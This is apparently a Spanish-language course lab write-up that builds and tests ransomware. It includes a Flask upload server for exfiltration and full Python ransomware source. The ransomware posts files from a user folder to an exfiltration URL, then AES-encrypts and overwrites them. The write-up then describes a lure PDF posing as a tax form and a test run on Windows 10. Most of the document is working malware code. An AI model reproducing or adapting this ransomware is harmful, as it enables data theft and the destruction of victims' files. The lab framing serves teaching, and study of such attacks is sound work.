## Servidor 1 – Distribución

Asignamos una ip dinámica: 192.168.1.100

Iniciamos el servidor http

Texto

El contenido generado por IA puede ser incorrecto.

## Servidor 2 – Exfiltración

Asignamos una ip dinámica: 192.168.1.101

### Código del receptor upload\_server.py:

from flask import Flask, request

import os

UPLOAD\_FOLDER = 'uploads'

app = Flask(\_\_name\_\_)

os.makedirs(UPLOAD\_FOLDER, exist\_ok=True)

@app.route('/upload', methods=['POST'])

def upload\_file():

if 'file' not in request.files:

return 'No file part', 400

file = request.files['file']

if file.filename == '':

return 'No selected file', 400

filepath = os.path.join(UPLOAD\_FOLDER, file.filename)

file.save(filepath)

return f'File {file.filename} uploaded successfully', 200

if \_\_name\_\_ == '\_\_main\_\_':

app.run(host='0.0.0.0', port=5000)

Ejecutamos el servidor python3 upload\_server.py

## Generar claves RSA



## Código Malware

from Crypto.PublicKey import RSA

from Crypto.Cipher import AES, PKCS1\_OAEP

import requests

import os

from base64 import b64decode

from Crypto.Random import get\_random\_bytes

# Aquí pones el contenido de tu public.pem como string

PUBLIC\_KEY\_DATA = b"""-----BEGIN PUBLIC KEY-----

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0M4SNSGtYJOrN1FbosXi

iAxW0i7eOARr3Nvoo8IdRwl0FTe0sTl6CplALKTvfMjlL7HIYEGoDtU4pl4cNwLF

2zSrDMJEEqEQOkZRnuK+PCv7ILCNb57yqfQ6zY2b2B97MCd84+Tykq6acsLbhNeT

iL1mYIAFfl+u8jEDi3oE5FQBWBVFhzOdUMJ8khHBZS4HDKbwS7/G0rxkMvB03SyH

d4MQ8zJhm94pJ3d+qd0j4eTsShv4xbjAWPhsvXBSHqJj2Mv2SgS+pXOyBJKWaQmN

uhbXKCEkFExCpOUamKk5JYIUeiUshhmRtIUyYHxEBJzNMd0VByEc5Q1lRrnfrLFN

MQIDAQAB

-----END PUBLIC KEY-----"""

UPLOAD\_URL = "http://192.168.1.101:5000/upload" # <-- tu servidor de exfiltración

EXTENSIONS = ('.txt', '.pdf', '.docx', '.jpg', '.png', '.xls') # Lo que quieras cifrar

def load\_rsa\_public\_key():

public\_key = RSA.import\_key(PUBLIC\_KEY\_DATA)

return PKCS1\_OAEP.new(public\_key)

def save\_encrypted\_key(encrypted\_key):

with open("key.bin", "wb") as f:

f.write(encrypted\_key)

def encrypt\_file(filepath, aes\_key):

with open(filepath, "rb") as f:

plaintext = f.read()

cipher = AES.new(aes\_key, AES.MODE\_EAX)

ciphertext, tag = cipher.encrypt\_and\_digest(plaintext)

return cipher.nonce + tag + ciphertext

def exfiltrate\_file(filepath):

with open(filepath, "rb") as f:

files = {'file': f}

try:

response = requests.post(UPLOAD\_URL, files=files)

print(f"[\*] Exfiltrado {filepath}: {response.status\_code}")

except Exception as e:

print(f"[!] Error exfiltrando {filepath}: {e}")

def main():

print("[\*] Iniciando ransomware...")

rsa\_cipher = load\_rsa\_public\_key()

print("[\*] Clave pública cargada correctamente.")

aes\_key = get\_random\_bytes(32)

print("[\*] Clave AES generada.")

encrypted\_aes\_key = rsa\_cipher.encrypt(aes\_key)

print("[\*] Clave AES cifrada con RSA.")

save\_encrypted\_key(encrypted\_aes\_key)

print("[\*] Clave AES cifrada guardada.")

user\_home = os.path.expanduser('~')

print(f"[\*] Carpeta del usuario detectada: {user\_home}")

target\_dir = os.path.join(user\_home, 'Desktop', 'keepcoding')

print(f"[\*] Carpeta objetivo: {target\_dir}")

if not os.path.exists(target\_dir):

print(f"[-] ERROR: La carpeta objetivo no existe: {target\_dir}")

return

print("[\*] Iniciando recorrido de archivos...")

for root, \_, files in os.walk(target\_dir):

for filename in files:

if filename.lower().endswith(EXTENSIONS):

filepath = os.path.join(root, filename)

print(f"[+] Procesando archivo: {filepath}")

exfiltrate\_file(filepath)

print(f"[+] Archivo exfiltrado: {filepath}")

encrypted\_data = encrypt\_file(filepath, aes\_key)

print(f"[+] Archivo cifrado en memoria: {filepath}")

with open(filepath, "wb") as f:

f.write(encrypted\_data)

print(f"[+] Archivo sobrescrito con datos cifrados: {filepath}")

print("[✓] Finalizado. Archivos cifrados.")

if \_\_name\_\_ == "\_\_main\_\_":

main()

Compilamos el malware

Texto

El contenido generado por IA puede ser incorrecto.

Y lo copiamos al servidor web



## Creación PDF Malicioso



# Pruebas en W10

Ejecutamos modelo-100-infectado.pdf

Interfaz de usuario gráfica, Texto, Aplicación, Correo electrónico

El contenido generado por IA puede ser incorrecto.

Interfaz de usuario gráfica, Texto, Aplicación

El contenido generado por IA puede ser incorrecto.



Al ejecutarlo nos cifra y sube los archivos

Interfaz de usuario gráfica

El contenido generado por IA puede ser incorrecto.

Interfaz de usuario gráfica, Texto, Aplicación

El contenido generado por IA puede ser incorrecto.

Prueba del malware en entorno virtual:

Texto

El contenido generado por IA puede ser incorrecto.